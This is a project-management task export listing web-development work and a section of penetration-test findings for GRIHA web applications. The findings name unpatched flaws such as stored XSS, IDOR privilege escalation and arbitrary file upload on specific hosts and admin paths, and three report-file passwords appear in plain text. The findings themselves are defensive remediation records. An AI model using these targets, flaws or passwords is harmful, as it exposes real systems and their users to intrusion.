OpenProject

All open

Kashif Hasan

09/01/2025 07:44 AM

All open

1. Post-Production Deployment Requests

ID	234	**Project**	GBPN- LEAD- GENS Tool
Type	Epic	**Status**	New
Start date	05/23/2025	**Finish date**	06/20/2025
Duration	21 d		

Description

All the request raised post-production deployment for G-ENS

1.1. Segregation of PPT on final compliance results tab as per GEDA Discussion

ID	509	**Project**	GBPN- LEAD- GENS Tool
Type	Task	**Status**	In progress
Start date	06/20/2025	**Finish date**	06/20/2025
Duration	1 d		

Description

☐ Segregate help ppts on compliance tab and add it on production.

☐ Change manual from word to pdf format on production.

☑ First test on local.

1.2. Disclaimer Pop-Up

ID	236	**Project**	GBPN- LEAD- GENS Tool
Type	Task	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

A disclaimer to be shown to Users who visits the site.

Disclaimer text to be requested from GBPN.

1.3. Enabling Registration & Sign-Up Buttons

ID	235	**Project**	GBPN- LEAD- GENS Tool
Type	Task	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Enable Registration & Sign-Up Buttons that were previously requested to be disabled.

2. Quarter-2 [April-June 2025]

ID	140	**Project**	ALCBT Website
Type	Epic	**Status**	New
Start date	05/23/2025	**Finish date**	06/25/2025
Duration	24 d		

2.1. Wordpress & Plugins Update

ID	118	**Project**	ALCBT Website
Type	Task	**Status**	New
Start date		**Finish date**	06/16/2025
Duration			

2.2. Review of work in Quarter-2

ID	113	**Project**	ALCBT Website
Type	Task	**Status**	In progress
Start date		**Finish date**	
Duration			

Description

☑ Changes in event template correct ordering in frontend, set start date and change some code upcoming events in backend.

☑ Update tracker sheet

☑ Update ALCBT Manual (7-7-25).

3. First Version of Partners Hub

ID	467	**Project**	ALCBT Partners Hub
Type	Feature	**Status**	New
Start date	05/29/2025	**Finish date**	06/20/2025
Duration	17 d		

3.1. Making User Manual for Partners Page.

ID	1003	**Project**	ALCBT Partners Hub
Type	Task	**Status**	New
Start date	05/29/2025	**Finish date**	06/20/2025
Duration	17 d		

3.2. Internal Discussion 16 June

ID	476	**Project**	ALCBT Partners Hub
Type	Task	**Status**	New
Start date	05/29/2025	**Finish date**	06/20/2025
Duration	17 d		

Description

1.

3.3. Database design

ID	429	**Project**	ALCBT Partners Hub
Type	Task	**Status**	New
Start date	05/29/2025	**Finish date**	06/12/2025
Duration	11 d		

3.4. Backend Logic Integration

ID	428	**Project**	ALCBT Partners Hub
Type	Task	**Status**	New
Start date	06/06/2025	**Finish date**	06/16/2025
Duration	7 d		

3.5. Front End

ID	427	**Project**	ALCBT Partners Hub
Type	Task	**Status**	On hold
Start date	06/16/2025	**Finish date**	06/18/2025
Duration	3 d		

Description

push code on branch (KASHIF)

3.5.1. Changes in Font family, size, colour and button. Replace 'Join Group' to follow -> following ->(Leave Group) to Unfollow, and same for Add friend and unfriend. Replace 'order by' to filter by.

ID	482	**Project**	ALCBT Partners Hub
Type	Task	**Status**	On hold
Start date	06/16/2025	**Finish date**	06/18/2025
Duration	3 d		

Description

Change background colour of login form. Log out button should be visible on ribbon once user gets logged in.

3.5.2. Discussions Page - Change the layout from grid to list. Join group should be redirected to group page. No. of members should be visible.

ID	486	**Project**	ALCBT Partners Hub
Type	Task	**Status**	New
Start date		**Finish date**	
Duration			

3.5.3. Events page Development

ID	485	**Project**	ALCBT Partners Hub
Type	Task	**Status**	In progress
Start date		**Finish date**	
Duration			

Description

R &D on different plugins.

Developed the page...correct other functionalities.

3.5.4. Members page - Change add friend text with follow and unfriend with unfollow. Filter by- Institution and sor by - A_Z. Change button Alignments of friend? unfriend button and Message.

ID	484	**Project**	ALCBT Partners Hub
Type	Task	**Status**	New
Start date		**Finish date**	
Duration			

3.5.5. Feed Page- Feeds should be in centre. Add widgets on left add right side both. Like , comment, share and their counts. Multiple Images selection.

ID	483	**Project**	ALCBT Partners Hub
Type	Task	**Status**	New
Start date		**Finish date**	
Duration			

3.6. Deployment on Staging

ID	468	**Project**	ALCBT Partners Hub
Type	Task	**Status**	New
Start date	06/17/2025	**Finish date**	06/20/2025
Duration	4 d		

3.7. Front End and Backend of Partner's Hub

ID	481	**Project**	ALCBT Partners Hub
Type	Epic	**Status**	New
Start date		**Finish date**	
Duration			

4. Addition of Updated User Manual

ID	237	**Project**	GBPN- LEAD- GENS Tool
Type	Task	**Status**	On hold
Start date	05/30/2025	**Finish date**	06/27/2025
Duration	21 d		

Description

The updated user manual to be deployed on Production post-approval from GBPN & LEAD

5. GRIHA Projects Update

ID	334	**Project**	GRIHA Central Dashboard
Type	Task	**Status**	On hold
Start date	06/13/2025	**Finish date**	06/20/2025
Duration	6 d		

Description

The data in DB to updated as per the latest Excel Sheet Provided. Furthermore, mismatch observed in Projects to be fixed.
Note: GRIHA Team to provide data in Provided Excel Sheet and with corresponding district of projects.

6. Numerical Data Formatting

ID	333	**Project**	GRIHA Central Dashboard
Type	Feature	**Status**	Tested
Start date	06/13/2025	**Finish date**	06/20/2025
Duration	6 d		

Description

Numerical data to be rounded to two decimal places and follow the Indian numbering format.

7. Maintenance/Post-Deployment Request

ID	908	**Project**	GRIHA Website
Type	Epic	**Status**	New
Start date		**Finish date**	
Duration			

8. Production Deployment

ID	907	**Project**	GRIHA Website
Type	Task	**Status**	New
Start date		**Finish date**	
Duration			

9. Quarter-3 [July-September 2025]

ID	630	**Project**	ALCBT Website
Type	Epic	**Status**	New
Start date		**Finish date**	
Duration			

9.1. Add button in header for Partnerspage

ID	998	**Project**	ALCBT Website
Type	Task	**Status**	New
Start date		**Finish date**	
Duration			

10. Frontend + Backend

ID	598	**Project**	GRIHA Website
Type	Epic	**Status**	In progress
Start date		**Finish date**	
Duration			

10.1. Create pages

ID	599	**Project**	GRIHA Website
Type	Task	**Status**	In progress
Start date		**Finish date**	
Duration			

Description

☐ Header

☐ Hero section

☐ Certification page

☑ Resource Centre Page

☑ Footer

☑ JANGRIA page

10.1.1. Events Page Template

ID	932	**Project**	GRIHA Website
Type	Task	**Status**	In progress
Start date		**Finish date**	
Duration			

10.1.2. Partner With Us Page Template

ID	930	**Project**	GRIHA Website
Type	Task	**Status**	In progress
Start date		**Finish date**	
Duration			

10.1.3. Incentives Template

ID	929	**Project**	GRIHA Website
Type	Task	**Status**	New
Start date		**Finish date**	
Duration			

10.1.4. Policies Template

ID	928	**Project**	GRIHA Website
Type	Task	**Status**	New
Start date		**Finish date**	
Duration			

10.1.5. Home Page Template

ID	925	**Project**	GRIHA Website
Type	Task	**Status**	In progress
Start date		**Finish date**	
Duration			

11. First Version of GEED Website Release

ID	478	**Project**	GEED Website
Type	Epic	**Status**	In progress
Start date		**Finish date**	
Duration			

11.1. DB Schema

ID	532	**Project**	GEED Website
Type	Task	**Status**	New
Start date		**Finish date**	
Duration			

11.2. Front End Development

ID	530	**Project**	GEED Website
Type	Task	**Status**	In progress
Start date		**Finish date**	
Duration			

Description

- Discussion on GEED development on 30-06-25
- creating header and discussion.
- Discussion on GEED development on 02-07-25
- Discussion on case study page 7-7-25
- resolving issue related to file uploading, adding custom js file, discussion wrt all pages, creating case study page and (addint title of page in tab of members, showing custom notices on feed page , resolving issue related to friends title) 11-07-25.
- creating case study page.12-07-25.
- discussion(complete site) with osama sir and mehvish.14-07-25 (1:50h)
  NEW UPDATED CHANGES ARE FOLLOWS:(14-07-25)
  change header design- **[DONE]**
  improve logos placement **[DONE]**

- Increase space between arrow and text in post slider, reduce font size and add an excerpt. **[DONE]**
- Modify 'About us' section- **[DONE]**
- Modify 'Our services' section- **[DONE]**
  choose design (link shared by Osama sir)
- Use marquee plugin in 'Our esteemed client' for continuous logo display. **[DONE]**
- Add a 'Social Networks' section in the home page.
- Redesign footer - **[DONE]**
  Left - logos | middle - about us, services, case studies | right- contact details, address **[DONE]**
  Reduce font size of 'copyright...' and place it at the bottom. **[DONE]**
  Add 'privacy policy' and 'Terms and conditions' **[DONE]**
- Add a google map redirect pin to 'address' in the footer. (suggested) **[DONE]**
- 'About us' page - try horizontal design (and remove images- suggested) **[DONE]**
- 'Case studies' page-
  Change 'Case studies' in the ribbon menu to 'Knowledge Products' **[DONE]**
  give border radius to all cornered edges, **[DONE]**
  add publish date and brief intro about the category (posts, publications, etc).
  Add a form and download option (fill form, download | fill form, request, approve, download)
  Add 'type' filter **[DONE]**
  give full name to the categories **[DONE]**
- 'Contact Us' page - **[DONE]**
  heading at center, **[DONE]**
  change zip code to pin code, **[DONE]**
  update address, **[DONE]**
  add geedsim email, **[DONE]**
  add social media links to icons **[DONE]**

IMPLEMENTED UPDATES [21 July, 2025]

- 'CONTACT US' page :
  heading at center,
  change zip code to pin code,
  update address,
  add geedsim email,
  add social media links to icons
- CASE STUDIES page:
  Add 'type' filter
  give full name to the categories
  Change 'Case studies' in the ribbon menu to 'Knowledge'

11.2.1. Knowledge Products Page

ID	623	Project	GEED Website
Type	Task	Status	In progress
Start date		Finish date	
Duration			

Description

1. Change Title in Menu Bar to Knowledge Products. @Mehvish Khatoon **[DONE]**
2. Change Page Name in Ribbon and Place Holder in Search Bar. @Mehvish Khatoon **[DONE]**
3. Make Edges more round of Filters, Tiles, etc. @Mehvish Khatoon **[DONE]**
4. Font Color of All Filter and Other Filters should be same. @Mehvish Khatoon **[DONE]**
5. Add Excerpt in Product. @Mehvish Khatoon **[DONE]**
6. Create Template of Individual Product. @Kashif Hasan
7. Link of Product should be shared with Client once Admin Approves after verifying details submitted by User. @Kashif Hasan

11.2.2. Our Services Page

ID	622	Project	GEED Website
Type	Task	Status	On hold
Start date		Finish date	
Duration			

Description

Suggestion-Make Individual Pages of Each Service.

11.2.3. Home Page

ID	620	Project	GEED Website
Type	Task	Status	In progress
Start date		Finish date	
Duration			

Description

1. Our Esteemed Clients to be shifted after Our Services. @Mehvish Khatoon **[DONE]**
2. Remove Vertical Scroll in Our Services, Keep Only Horizontal Scroll. @Mehvish Khatoon **[DONE]**
3. Fix the end scroll, start scoll error in Our Services. @Mehvish Khatoon **[DONE]**
4. Add Marquee Effect in Our Esteemed Clients. @Mehvish Khatoon **[DONE]**
5. Add Follow Us Section after Our Esteemed Client (YouTube and LinkedIn). @Kashif Hasan

11.2.4. Case studies page

ID	597	**Project**	GEED Website
Type	Task	**Status**	New
Start date		**Finish date**	
Duration			

Description

add publish date and brief intro about the category (posts, publications, etc).
Add a form and download option (fill form, download | fill form, request, approve, download)
Add 'type' filter **@Mehvish Khatoon [DONE]**

11.2.5. Content Management System

ID	531	**Project**	GEED Website
Type	Task	**Status**	New
Start date		**Finish date**	
Duration			

12. Deployment of solution on GRIHA Servers

ID	470	**Project**	GRIHA Central Dashboard
Type	Task	**Status**	On hold
Start date		**Finish date**	
Duration			

13. Test Ubuntu 24.04 version compatibility with the solution

ID	469	**Project**	BEE ENS - JV RVSPL
Type	Task	**Status**	New
Start date		**Finish date**	
Duration			

14. GRIHA Product Catalogue

ID	147	**Project**	GRIHA VAPT
Type	Epic	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

All vulnerabilities reported by RiskBerg Team in GRIHA PC.
File Password:vkv#W<ic6KM)qJq18h

14.1. Sensitive Information Disclosure

ID	224	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the sensitive information,such as internal paths,is disclosed in the request.
Recommendation: It is recommended to avoid disclosing sensitive information,such as internal paths,in requests or responses to prevent attackers from gaining insights into the application’s internal structure.

14.2. Server Information Disclosure

ID	223	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the server discloses sensitive information,such as server version in the response header.
Recommendation: It is recommended to configure the server to hide version information and sensitive details in response headers to prevent information disclosure.

14.3. Secure Flag Not Set

ID	222	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the session cookie doesn't have a "Secure" flag set.
Recommendation: It is recommended to set the 'Secure' flag to true for the session cookie.

14.4. Weak Password Policy Implemented

ID	221	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the web application allows users to create accounts with weak passwords.
Recommendation: It is recommended to enforce a stronger password policy,requiring a combination of uppercase,lowercase,numbers,and special characters,along with a minimum length to enhance account security.

14.5. Debugging Enabled

ID	220	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that debugging is enabled in the application,leading to information disclosure.
Recommendation: It is recommended to disable debugging in the application to prevent the exposure of sensitive information and reduce the risk of information disclosure.

14.6. Username Enumeration

ID	219	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the application reveals whether a username exists or not when an incorrect user ID is entered,enabling username enumeration.
Recommendation: It is recommended to provide generic error messages for invalid usernames and passwords,ensuring that the application does not reveal whether a username exists,to prevent username enumeration attacks.

14.7. Clickjacking

ID	218	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the web application is vulnerable to clickjacking.
Recommendation: It is recommended to implement the X-Frame-Options header with a value of “DENY” or “SAMEORIGIN” to prevent the web application from being embedded in iframe and mitigate clickjacking attacks.

14.8. Medium Strength Cipher Suites Supported (SWEET 32)

ID	217	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the web application supports medium-strength cipher suites,which may expose the system to vulnerabilities and weaken the encryption strength.
Recommendation: It is recommended to disable medium-strength cipher suites and enforce the use of stronger cipher suites to enhance encryption strength and protect data confidentiality.

14.9. Outdated TLS Version v1.0 and v1.1

ID	216	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the application supports outdated TLS versions (v1.0 and v1.1),which are vulnerable to various security risks.
Recommendation: It is recommended to disable support for outdated TLS versions (v1.0 and v1.1) to enhance the security of data transmission.

14.10. Missing Security Headers

ID	215	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the web application lacks important security headers.
Recommendation: It is recommended to implement security headers such as HSTS,X-Content-Type-Options,X-Frame-Options,CSP,X-XSS-Protection,Referrer-Policy,Permissions-Policy,and Cache-Control.

14.11. Unauthorized Access Control

ID	214	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that users are able to access PDF files by directly using the PDF path without being logged in.
Recommendation: It is recommended to restrict direct access to PDF files by enforcing proper access control and ensuring users are authenticated before accessing sensitive resources.

14.12. Vulnerable Version of Uglify.js

ID	213	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the version of “Uglify.js” i.e. 3.4.4 which is being used is outdated and vulnerable. Path:
https://grihavaptcatalogue.grihaindia.org/LayOutLibrary/JS/jquery.matchHeight.min.js
Recommendation: It is recommended to upgrade to the latest stable version of Uglify.js.

14.13. Vulnerable X-AspNet-Version

ID	212	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the version of “X-AspNet” i.e. 4.0.30319 which is being used is outdated and vulnerable.
Recommendation: It is recommended to upgrade to the latest stable version of X-AspNet.

14.14. Vulnerable jQuery Version

ID	211	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the following versions of “jQuery” being used are outdated and vulnerable. jQuery v2.2.4 & jQuery v1.10.2. Path:
https://grihavaptcatalogue.grihaindia.org/LayOutLibrary/JS/2.2.4.jquery.min.js
https://grihavaptcatalogue.grihaindia.org/JS_AJAX/jquery-1.10.2.js
Recommendation: It is recommended to upgrade to the latest stable version of jQuery.

14.15. Vulnerable jQuery UI Version

ID	210	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the version of “jQuery UI” i.e. 1.11.4 being used is outdated and vulnerable. Path: https://grihavaptcatalogue.grihaindia.org/JS_AJAX/jquery-ui-1.11.4.js
Recommendation: It is recommended to upgrade to the latest stable version of jQuery UI.

14.16. Vulnerable Bootstrap Version

ID	209	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the following versions of “Bootstrap” being used are outdated and vulnerable. Bootstrap v3.3.7 & Bootstrap v4.1.3 Path:
https://grihavaptcatalogue.grihaindia.org/LayOutLibrary/JS/4.1.3.bootstrap.min.js
https://grihavaptcatalogue.grihaindia.org/Content/vendor/bootstrap/js/bootstrap.min.js
Recommendation: It is recommended to upgrade to the latest stable version of Bootstrap.

14.17. CSS Injection

ID	208	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the website is vulnerable to CSS injection,where user inputs are reflected and executed as CSS,allowing attackers to manipulate page styles. Path:
https://grihavaptcatalogue.grihaindia.org/Admin/TypologyMaster
https://grihavaptcatalogue.grihaindia.org/Admin/SubTypologyMaster
https://grihavaptcatalogue.grihaindia.org/Admin/TeamMemberRegistration
Recommendation: It is recommended to sanitize and validate all user inputs,implement a Content Security Policy (CSP),escape special characters,and avoid inline CSS to prevent CSS injection.

14.18. iFrame Injection

ID	207	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the website is vulnerable to iFrame Injection. An attacker can inject iframe tags into the page,which allows for the redirection to any URL specified in the iframe source,potentially leading to malicious content being loaded. Path:
https://grihavaptcatalogue.grihaindia.org/Admin/TypologyMaster
https://grihavaptcatalogue.grihaindia.org/Admin/SubTypologyMaster
https://grihavaptcatalogue.grihaindia.org/Admin/TeamMemberRegistration
Recommendation: It is recommended to sanitize and validate all user inputs,specifically disallowing the injection of tags. Implement a Content Security Policy (CSP) to restrict the sources from which content can be loaded and use proper input filtering techniques to prevent iFrame injection.

14.19. Authorization Not Enforced

ID	206	Project	GRIHA VAPT
Type	Bug	Status	New
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that even after removing the session ID cookie from therequest,the application still allows sending emails on behalf of the user.
Recommendation: It is recommended to implement proper session validation on all sensitive actions,ensuring that the user's authorization is verified before processing any request.

14.20. No Rate Limit on Login Page

ID	205	Project	GRIHA VAPT
Type	Bug	Status	New
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the "login page" does not enforce rate limit,allowing an attacker to perform brute-force attack to guess user credentials.
Recommendation: It is recommended to enforce rate limit and implement CAPTCHA on the "login page",along with proper user authentication checks.

14.21. No Rate Limit on Forget Password

ID	204	Project	GRIHA VAPT
Type	Bug	Status	New
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the web application does not enforce rate limit on the "Forgot Password" feature,allowing an attacker to perform brute-force attacks.
Recommendation: It is recommended to enforce rate limit and implement CAPTCHA on the "Forgot Password" feature,along with proper user authentication checks.

14.22. Browser Cache Weakness

ID	203	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that after logging out,a user can use the browser's back button to access a previous session state and view the dashboard information.
Recommendation: It is recommended to implement proper cache control headers (e.g.,`Cache-Control: no-store`) and ensure that sensitive pages are not cached,preventing users from accessing previous session states after logging out.

14.23. Insecure Password Management for New User Accounts

ID	202	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the application assigns the same initial password to all newly created accounts,regardless of the email address used,making it predictable and susceptible to unauthorized access.
Recommendation: It is recommended to generate unique and strong initial passwords for each newly created account.

14.24. HTML Injection

ID	201	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the website is vulnerable to HTML Injection. It is possible to inject arbitrary HTML into the webpage,including the creation of a form that redirects users to a malicious website. Path: https://grihavaptcatalogue.grihaindia.org/Admin/TypologyMaster
https://grihavaptcatalogue.grihaindia.org/Admin/SubTypologyMaster
https://grihavaptcatalogue.grihaindia.org/Admin/TeamMemberRegistration
Recommendation: It is recommended to sanitize and validate all user inputs to prevent HTML injection. Implement strong input filtering techniques to block malicious HTML tags and attributes. Enforce a Content Security Policy (CSP) to limit the ability to load or execute untrusted content,and ensure output encoding for any dynamic content.

14.25. Unencrypted Communication

ID	200	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the website allows communication over HTTP,making data transmission unencrypted and vulnerable to interception.
Recommendation: It is recommended to enforce HTTPS by redirecting all HTTP traffic to HTTPS and implementing HSTS (HTTP Strict Transport Security) to ensure secure,encrypted communication between the client and server.

14.26. Session Misconfiguration

ID	199	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the session ID is not validated when sending certain requests to the server,allowing unauthorized access to responses without proper session validation. Also,it has been observed that,a user who is logged in on one browser with an account will remain logged in even if the password is changed on another browser.
Recommendation: It is recommended to validate session IDs on all requests and invalidate sessions across all active sessions when a password is changed to ensure proper session management.

14.27. Stored XSS

ID	198	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the web application is vulnerable to Stored Cross- Site Scripting (XSS) The affected URLs are: https://grihavaptcatalogue.grihaindia.org/Admin/TypologyMaster
https://grihavaptcatalogue.grihaindia.org/Admin/SubTypologyMaster
https://grihavaptcatalogue.grihaindia.org/Admin/ComplianceListingMaster
https://grihavaptcatalogue.grihaindia.org/Admin/TeamMemberRegistration
https://grihavaptcatalogue.grihaindia.org/ProductCatalogue/Register/AdminDashBoard/Records
https://grihavaptcatalogue.grihaindia.org/ProductCoordinator/ProductCoordinatorDashBoard
Recommendation: It is recommended to validate and sanitize all user inputs on the server side to prevent the injection of malicious scripts and implement content security policies (CSP) to restrict the execution of unauthorized scripts.

14.28. Insecure Direct Object Reference (IDOR)

ID	197	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the admin account can escalate privileges by creating a super admin account through “Role ID” manipulation in the request and admin account can delete a super admin account by modifying the ID field in the request.
Recommendation: It is recommended to implement proper access controls and validate user roles before processing requests to modify account privileges.

14.29. Arbitrary File Upload

ID	196	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the web application fails to properly sanitize uploaded file extensions,allowing any type of file to be uploaded. Additionally,path traversal techniques were used to upload files directly to the web root folder,enabling the overwriting of critical files,such as the web.config file.
Recommendation: It is recommended to implement strict file validation by allowing only specific file types and verifying MIME types on both client and server sides. Additionally,file uploads should be stored in a separate,non-executable directory,and proper access controls should be enforced to prevent unauthorized file modifications.

15. GRIHA Payments Gateway

ID	146	**Project**	GRIHA VAPT
Type	Epic	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

All vulnerabilities reported by RiskBerg Team in GRIHA Payments Gateway.
File Password:Zw@cbCX^ND~%6"3j/'8Jhx

15.1. HTTP Header Information Disclosure

ID	170	**Project**	GRIHA VAPT
Type	Bug	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has observed that the API is disclosing the Server name and version.
Recommendation: It is recommended to remove server-name and version from response header.

15.2. Missing Security Header

ID	169	**Project**	GRIHA VAPT
Type	Bug	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the security headers are not properly implemented.
Recommendation: It is recommended to implement security headers such as HSTS,X-Content-Type-Options,X-Frame-Options,CSP,X-XSS-Protection,Referrer-Policy,Permissions-Policy,and Cache-Control.

15.3. Information Disclosure

ID	168	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the API is exposing C drive file paths.
Recommendation: It is recommended to avoid disclosing sensitive information,such as internal paths,in requests or responses to prevent attackers from gaining insights into the application’s internal structure.

15.4. Improper Input Validation

ID	167	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that improper input validation allows unfiltered data to be processed,potentially leading to security vulnerabilities.
Recommendation: It is recommended to implement proper input validation in sever side to prevent security vulnerabilities,such as injection attacks and data corruption.

15.5. Vulnerable ASP .NET Version

ID	166	**Project**	GRIHA VAPT
Type	Bug	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that web application is using outdated & vulnerable ASP .NET version i.e. 4.0.30319
Recommendation: It is recommended to upgrade to the latest stable version of ASP .NET.

15.6. TLS 1. 0 and 1.1 Enabled

ID	165	**Project**	GRIHA VAPT
Type	Bug	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that TLS 1.0 and TLS 1.1 was enabled in the API.
Recommendation: It is recommended to disable TLS 1.0 and TLS 1.1.

16. GRIHA Learning Centre

ID	145	**Project**	GRIHA VAPT
Type	Epic	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

All vulnerabilities reported by RiskBerg Team in GLC.
File Password:8o`ZG<0W/B=.asFgt

16.1. Server Version Disclose

ID	195	**Project**	GRIHA VAPT
Type	Bug	**Status**	In testing
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the web application discloses the server version
Recommendation: It is recommended to configure the server to hide version details in HTTP headers and error messages.

16.2. Secure flag not set

ID	194	**Project**	GRIHA VAPT
Type	Bug	**Status**	In testing
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the session cookie doesn't have a "Secure" flag set.
Recommendation: It is recommended to set the 'Secure' attribute to true for the session cookie.

16.3. HttpOnly Flag not set

ID	193	**Project**	GRIHA VAPT
Type	Bug	**Status**	In testing
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the HttpOnly flag is set to false in the cookie header.
Recommendation: It is recommended to set the HttpOnly flag to true in the cookie header to prevent client-side access to sensitive cookie data.

16.4. Database Error Information Disclosure

ID	192	**Project**	GRIHA VAPT
Type	Bug	**Status**	In testing
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that due to improper error handling,the web application discloses database table names.
Recommendation: It is recommended to implement proper error handling mechanisms to prevent the exposure of sensitive database information.

16.5. Missing Security Headers

ID	191	**Project**	GRIHA VAPT
Type	Bug	**Status**	In testing
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that web application lacks important security headers.
Recommendation: It is recommended to implement security headers such as HSTS,X-Content-Type-Options,X-Frame-Options,CSP,X-XSS-Protection,Referrer-Policy,Permissions-Policy,and Cache-Control.

16.6. Sensitive File disclosure

ID	190	**Project**	GRIHA VAPT
Type	Bug	**Status**	In testing
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that sensitive files such as composer.json,composer.lock,Gruntfile.js,npm-shrinkwrap.json,package.json etc are accessible to unauthorized users,potentially exposing internal application details.
Recommendation: It is recommended to restrict access to sensitive files by configuring appropriate access controls at the web server level.

16.7. Vulnerable jQuery min.js version

ID	189	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been Observed that jQuery min.js Version i.e. 3.4.1 is vulnerable to multiple CVEs.
Recommendation: It is recommended to update to the latest stable version of jQuery min.js

16.8. Vulnerable jQuery Version

ID	188	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that web application is running vulnerable jQuery Version i.e. 1.10.2
Recommendation: It is recommended to update to the latest stable version of jQuery.

16.9. Vulnerable jQuery-UI Version

ID	187	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that web application is running vulnerable jQuery-UI version i.e. 1.11.4
Recommendation: It is recommended to update to the latest stable version of jQuery UI

16.10. No Rate Limiting

ID	186	**Project**	GRIHA VAPT
Type	Bug	**Status**	In testing
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the application displays no restrictions on excessive requests.
Path: https://glcvapt.grihaindia.org//phpmyadmin/index.php
https://glcvapt.grihaindia.org/user/profile.php?id=53 https://glcvapt.grihaindia.org/mod/forum/user.php?id=2
Recommendation: It is recommended to implement strict request limits,monitors patterns,and account lockouts.

16.11. Vulnerable RequireJS version

ID	185	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the web application is running vulnerable RequireJS version i.e. 2.3.5
Recommendation: It is recommended to update to the latest stable version of RequireJS.

16.12. Vulnerable YUI version

ID	184	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that web application is running vulnerable YUI version i.e. 2.9.0
Recommendation: It is recommended to update to the latest stable version of YUI.

16.13. Directory Listing

ID	183	**Project**	GRIHA VAPT
Type	Bug	**Status**	In testing
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the application exposes sensitive directories,which may lead to information disclosure and potential security risks.
Recommendation: It is recommended to restrict access to sensitive files such as configuration,backup,and installation scripts by using proper authentication and authorization. Additionally,it is recommended to disable or secure PHP information pages to prevent attackers from gathering server details.

16.14. Vulnerable MySQL Version

ID	182	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

